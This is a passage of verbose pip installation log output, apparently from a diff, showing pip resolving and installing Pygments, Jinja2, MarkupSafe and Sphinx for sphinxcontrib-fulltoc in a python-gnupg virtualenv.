https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.tar.gz#md5=af52c60ae9f5906a92e4102e9076f6a0 (from https://pypi.python.org/simple/Pygments/), version 1.1 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6rc1.tar.gz#md5=633fbb59d2f05acedcafd8cd851d0935 (from https://pypi.python.org/simple/Pygments/), version 1.6rc1 is a pre-release (use --pre to allow). + + Using version 1.6 (newest of versions: 1.6, 1.5, 1.4, 1.3.1, 1.3, 1.2.2, 1.2.1, 1.2) + + Downloading from URL https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6.tar.gz#md5=a18feedf6ffd0b0cc8c8b0fbdb2027b1 (from https://pypi.python.org/simple/Pygments/) + + Running setup.py egg_info for package Pygments + + running egg_info + + creating pip-egg-info/Pygments.egg-info + + writing pip-egg-info/Pygments.egg-info/PKG-INFO + + writing top-level names to pip-egg-info/Pygments.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/Pygments.egg-info/dependency_links.txt + + writing entry points to pip-egg-info/Pygments.egg-info/entry_points.txt + + writing manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/Pygments has version 1.6, which satisfies requirement Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc) + +Downloading/unpacking Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc) + + Getting page https://pypi.python.org/simple/Jinja2/ + + URLs to search for versions for Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc): + + * https://pypi.python.org/simple/Jinja2/ + + Analyzing links from page https://pypi.python.org/simple/Jinja2/ + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-linux-i686.egg#md5=e4286023eed2f6d8cc5f5075106db1f4 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-linux-x86_64.egg#md5=3f0499f5f0caa7943d4ba3cb20740f5e (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-macosx-10.3-i386.egg#md5=3b5901001e84aa62c8bc4c6f0a638b18 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-win32.egg#md5=6f17c620d4bc9272f3061b70ab7af11b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.1-py2.4-win32.egg#md5=d8eb08f4ef61b05a00039a48f620deeb (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.1.1-py2.4-win32.egg#md5=ce0a82883624cd31c8b513b7bc961148 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-linux-i686.egg#md5=3a2be0c13c6036d59e81f9b3db82bdfa (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-linux-x86_64.egg#md5=3ccf95d2d6245b5407cdda0577b24f64 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-macosx-10.3-i386.egg#md5=bc82f2a2e9b55ca1472bc7b89fedca06 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-win32.egg#md5=40af7fdc93abd3892b6ea2f208a6033b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.1-py2.5-win32.egg#md5=135dad62ce5de34a54d568a2b3cd05f0 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.1.1-py2.5-win32.egg#md5=a6cd9757966640a7bb7e887c24dd9ff3 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/J/Jinja2/Jinja2-2.1-py2.6-win32.egg#md5=8319235be842d5a61c552be8d206f65a (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/J/Jinja2/Jinja2-2.1.1-py2.6-win32.egg#md5=8540a2bf5bfd263842d3a7c6df13977b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0.tar.gz#md5=19fe3ee10ee94a6003c53374112f2403 (from https://pypi.python.org/simple/Jinja2/), version: 2.0 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0rc1.tar.gz#md5=7751e097f23fec244634e601d86e1d60 (from https://pypi.python.org/simple/Jinja2/), version: 2.0rc1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.1.tar.gz#md5=b37fc262e4f613eec57c3defe6aea97c (from https://pypi.python.org/simple/Jinja2/), version: 2.1.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.tar.gz#md5=c7a31931c95a7ae5e1baf21074fdd576 (from https://pypi.python.org/simple/Jinja2/), version: 2.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.1.tar.gz#md5=fea849d68891218eb0b21c170f1c32d5 (from https://pypi.python.org/simple/Jinja2/), version: 2.2.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.tar.gz#md5=7ea7821801eee5def026c216d80e5103 (from https://pypi.python.org/simple/Jinja2/), version: 2.2 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.3.1.tar.gz#md5=391c7dd06c62dfe7e30ebaad7af0a401 (from https://pypi.python.org/simple/Jinja2/), version: 2.3.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.3.tar.gz#md5=7fc34b115f157474d988db8caab6895c (from https://pypi.python.org/simple/Jinja2/), version: 2.3 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.4.1.tar.gz#md5=e0cf5af057fac63ac9689b86c8b31ce6 (from https://pypi.python.org/simple/Jinja2/), version: 2.4.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.4.tar.gz#md5=635746009a6560e20db97e94db28867d (from https://pypi.python.org/simple/Jinja2/), version: 2.4 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.1.tar.gz#md5=12be091a5d2edae961b65adfc99da826 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.2.tar.gz#md5=3829be2926a067ee024e6d3e5327dbf7 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.2 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.3.tar.gz#md5=cae31ce405ec5e4f167913b25ee4f65a (from https://pypi.python.org/simple/Jinja2/), version: 2.5.3 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.4.tar.gz#md5=4553d5aef15d550bfebbc1903014067e (from https://pypi.python.org/simple/Jinja2/), version: 2.5.4 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.5.tar.gz#md5=83b20c1eeb31f49d8e6392efae91b7d5 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.5 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.tar.gz#md5=d02f82e33afe918cef8a9abcd23ccd78 (from https://pypi.python.org/simple/Jinja2/), version: 2.5 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.6.tar.gz#md5=1c49a8825c993bfdcf55bb36897d28a2 (from https://pypi.python.org/simple/Jinja2/), version: 2.6 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.1.tar.gz#md5=282aed153e69f970d6e76f78ed9d027a (from https://pypi.python.org/simple/Jinja2/), version: 2.7.1 + + Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.tar.gz#md5=c2fb12cbbb523c57d3d15bfe4dc0e8fe (from https://pypi.python.org/simple/Jinja2/), version: 2.7 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0.tar.gz#md5=19fe3ee10ee94a6003c53374112f2403 (from https://pypi.python.org/simple/Jinja2/), version 2.0 doesn't match >=2.3 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0rc1.tar.gz#md5=7751e097f23fec244634e601d86e1d60 (from https://pypi.python.org/simple/Jinja2/), version 2.0rc1 doesn't match >=2.3 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.1.tar.gz#md5=b37fc262e4f613eec57c3defe6aea97c (from https://pypi.python.org/simple/Jinja2/), version 2.1.1 doesn't match >=2.3 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.tar.gz#md5=c7a31931c95a7ae5e1baf21074fdd576 (from https://pypi.python.org/simple/Jinja2/), version 2.1 doesn't match >=2.3 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.1.tar.gz#md5=fea849d68891218eb0b21c170f1c32d5 (from https://pypi.python.org/simple/Jinja2/), version 2.2.1 doesn't match >=2.3 + + Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.tar.gz#md5=7ea7821801eee5def026c216d80e5103 (from https://pypi.python.org/simple/Jinja2/), version 2.2 doesn't match >=2.3 + + Using version 2.7.1 (newest of versions: 2.7.1, 2.7, 2.6, 2.5.5, 2.5.4, 2.5.3, 2.5.2, 2.5.1, 2.5, 2.4.1, 2.4, 2.3.1, 2.3) + + Downloading from URL https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.1.tar.gz#md5=282aed153e69f970d6e76f78ed9d027a (from https://pypi.python.org/simple/Jinja2/) + + Running setup.py egg_info for package Jinja2 + + running egg_info + + creating pip-egg-info/Jinja2.egg-info + + writing requirements to pip-egg-info/Jinja2.egg-info/requires.txt + + writing pip-egg-info/Jinja2.egg-info/PKG-INFO + + writing top-level names to pip-egg-info/Jinja2.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/Jinja2.egg-info/dependency_links.txt + + writing entry points to pip-egg-info/Jinja2.egg-info/entry_points.txt + + writing manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + warning: no files found matching '*' under directory 'custom_fixers' + + warning: no previously-included files matching '*' found under directory 'docs/_build' + + warning: no previously-included files matching '*.pyc' found under directory 'jinja2' + + warning: no previously-included files matching '*.pyc' found under directory 'docs' + + warning: no previously-included files matching '*.pyo' found under directory 'jinja2' + + warning: no previously-included files matching '*.pyo' found under directory 'docs' + + writing manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/Jinja2 has version 2.7.1, which satisfies requirement Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc) + + skipping extra i18n + +Downloading/unpacking markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc) + + Getting page https://pypi.python.org/simple/markupsafe/ + + URLs to search for versions for markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc): + + * https://pypi.python.org/simple/markupsafe/ + + Analyzing links from page https://pypi.python.org/simple/MarkupSafe/ + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.11.tar.gz#md5=48d445941c16d6aa55caf8e148fc0911 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.11 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.12.tar.gz#md5=edd4b6950f6d4ddc6e23fa322f8f0f53 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.12 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.13.tar.gz#md5=f44b8f4bba98b3e66884158f97585829 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.13 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.14.tar.gz#md5=68c6ea6df002649218d24cf490a8ca82 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.14 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.15.tar.gz#md5=4e7c4d965fe5e033fa2d7bb7746bb186 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.15 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.16.tar.gz#md5=fe88012f7fe75252efd26cd25a100851 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.16 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.17.tar.gz#md5=61d5edc130e3242cfaff9fd9fdefde8f (from https://pypi.python.org/simple/MarkupSafe/), version: 0.17 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.18.tar.gz#md5=f8d252fd05371e51dec2fe9a36890687 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.18 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.1.tar.gz#md5=7f469f664b565b440f099997255e6d3c (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.1 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.2.tar.gz#md5=69b72d1afdd9e808f9c1ef65f819c7a6 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.2 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.3.tar.gz#md5=99dccbeb83302f6b593d382098b3b43a (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.3 + + Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.tar.gz#md5=10a7c6bf81f91f280ba9e76e32e01c94 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9 + + Using version 0.18 (newest of versions: 0.18, 0.17, 0.16, 0.15, 0.14, 0.13, 0.12, 0.11, 0.9.3, 0.9.2, 0.9.1, 0.9) + + Downloading MarkupSafe-0.18.tar.gz + + Downloading from URL https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.18.tar.gz#md5=f8d252fd05371e51dec2fe9a36890687 (from https://pypi.python.org/simple/MarkupSafe/) + + Running setup.py egg_info for package markupsafe + + running egg_info + + creating pip-egg-info/MarkupSafe.egg-info + + writing pip-egg-info/MarkupSafe.egg-info/PKG-INFO + + writing top-level names to pip-egg-info/MarkupSafe.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/MarkupSafe.egg-info/dependency_links.txt + + writing manifest file 'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/markupsafe has version 0.18, which satisfies requirement markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc) + +Installing collected packages: sphinxcontrib-fulltoc, Sphinx, docutils, Pygments, Jinja2, markupsafe + + Running setup.py install for sphinxcontrib-fulltoc + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/sphinxcontrib-fulltoc/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-W2CKH1-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + copying distribute_setup.py -> build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/sphinxcontrib + + copying sphinxcontrib/__init__.py -> build/lib.linux-x86_64-2.7/sphinxcontrib + + copying sphinxcontrib/fulltoc.py -> build/lib.linux-x86_64-2.7/sphinxcontrib + + running egg_info + + writing requirements to sphinxcontrib_fulltoc.egg-info/requires.txt + + writing sphinxcontrib_fulltoc.egg-info/PKG-INFO + + writing namespace_packages to sphinxcontrib_fulltoc.egg-info/namespace_packages.txt + + writing top-level names to sphinxcontrib_fulltoc.egg-info/top_level.txt + + writing dependency_links to sphinxcontrib_fulltoc.egg-info/dependency_links.txt + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'sphinxcontrib_fulltoc.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + writing manifest file 'sphinxcontrib_fulltoc.egg-info/SOURCES.txt' + + running install_lib + + copying distribute_setup.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages + + Skipping installation of /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib/__init__.py (namespace package) + + copying sphinxcontrib/fulltoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/distribute_setup.py to distribute_setup.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib/fulltoc.py to fulltoc.pyc + + running install_egg_info + + Copying sphinxcontrib_fulltoc.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib_fulltoc-1.0-py2.7.egg-info + + Installing /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinxcontrib_fulltoc-1.0-py2.7-nspkg.pth + + running install_scripts + + writing list of installed files to '/tmp/pip-W2CKH1-record/install-record.txt' + + Running setup.py install for Sphinx + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Sphinx/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-Vmfaee-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/pygments_styles.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/jinja2glue.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/roles.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/quickstart.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/cmdline.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/environment.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/highlighting.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/config.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/__init__.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/setup_command.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/theming.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/addnodes.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/errors.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/apidoc.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/versioning.py -> build/lib.linux-x86_64-2.7/sphinx + + copying sphinx/application.py -> build/lib.linux-x86_64-2.7/sphinx + + creating build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/text.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/latex.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/texinfo.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/manpage.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/html.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + copying sphinx/writers/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/writers + + creating build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/c.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/rst.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/std.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/python.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/cpp.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + copying sphinx/domains/javascript.py -> build/lib.linux-x86_64-2.7/sphinx/domains + + creating build/lib.linux-x86_64-2.7/sphinx/locale + + copying sphinx/locale/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/locale + + creating build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/jsmath.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/refcounting.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/viewcode.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/ifconfig.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/autodoc.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/mathjax.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/todo.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/pngmath.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/inheritance_diagram.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/intersphinx.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/doctest.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/coverage.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/graphviz.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/mathbase.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/oldcmarkup.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + copying sphinx/ext/extlinks.py -> build/lib.linux-x86_64-2.7/sphinx/ext + + creating build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/matching.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/pycompat.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/nodes.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/osutil.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/png.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/console.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/stemmer.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/inspect.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/jsdump.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/smartypants.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/tags.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/docstrings.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/texescape.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/jsonimpl.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/docfields.py -> build/lib.linux-x86_64-2.7/sphinx/util + + copying sphinx/util/compat.py -> build/lib.linux-x86_64-2.7/sphinx/util + + creating build/lib.linux-x86_64-2.7/sphinx/websupport + + copying sphinx/websupport/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport + + copying sphinx/websupport/errors.py -> build/lib.linux-x86_64-2.7/sphinx/websupport + + creating build/lib.linux-x86_64-2.7/sphinx/pycode + + copying sphinx/pycode/nodes.py -> build/lib.linux-x86_64-2.7/sphinx/pycode + + copying sphinx/pycode/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/pycode + + creating build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/epub.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/websupport.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/text.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/latex.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/linkcheck.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/devhelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/texinfo.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/htmlhelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/manpage.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/html.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/qthelp.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/gettext.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + copying sphinx/builders/changes.py -> build/lib.linux-x86_64-2.7/sphinx/builders + + creating build/lib.linux-x86_64-2.7/sphinx/directives + + copying sphinx/directives/other.py -> build/lib.linux-x86_64-2.7/sphinx/directives + + copying sphinx/directives/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/directives + + copying sphinx/directives/code.py -> build/lib.linux-x86_64-2.7/sphinx/directives + + creating build/lib.linux-x86_64-2.7/sphinx/search + + copying sphinx/search/ja.py -> build/lib.linux-x86_64-2.7/sphinx/search + + copying sphinx/search/en.py -> build/lib.linux-x86_64-2.7/sphinx/search + + copying sphinx/search/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/search + + creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary + + copying sphinx/ext/autosummary/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary + + copying sphinx/ext/autosummary/generate.py -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary + + creating build/lib.linux-x86_64-2.7/sphinx/websupport/storage + + copying sphinx/websupport/storage/sqlalchemystorage.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage + + copying sphinx/websupport/storage/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage + + copying sphinx/websupport/storage/sqlalchemy_db.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage + + copying sphinx/websupport/storage/differ.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/storage + + creating build/lib.linux-x86_64-2.7/sphinx/websupport/search + + copying sphinx/websupport/search/xapiansearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search + + copying sphinx/websupport/search/nullsearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search + + copying sphinx/websupport/search/whooshsearch.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search + + copying sphinx/websupport/search/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/websupport/search + + creating build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/driver.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/parse.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/token.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/grammar.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/__init__.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/tokenize.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/pgen.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + copying sphinx/pycode/pgen2/literals.py -> build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2 + + running egg_info + + writing requirements to Sphinx.egg-info/requires.txt + + writing Sphinx.egg-info/PKG-INFO + + writing top-level names to Sphinx.egg-info/top_level.txt + + writing dependency_links to Sphinx.egg-info/dependency_links.txt + + writing entry points to Sphinx.egg-info/entry_points.txt + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'Sphinx.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + no previously-included directories found matching 'doc/_build' + + writing manifest file 'Sphinx.egg-info/SOURCES.txt' + + creating 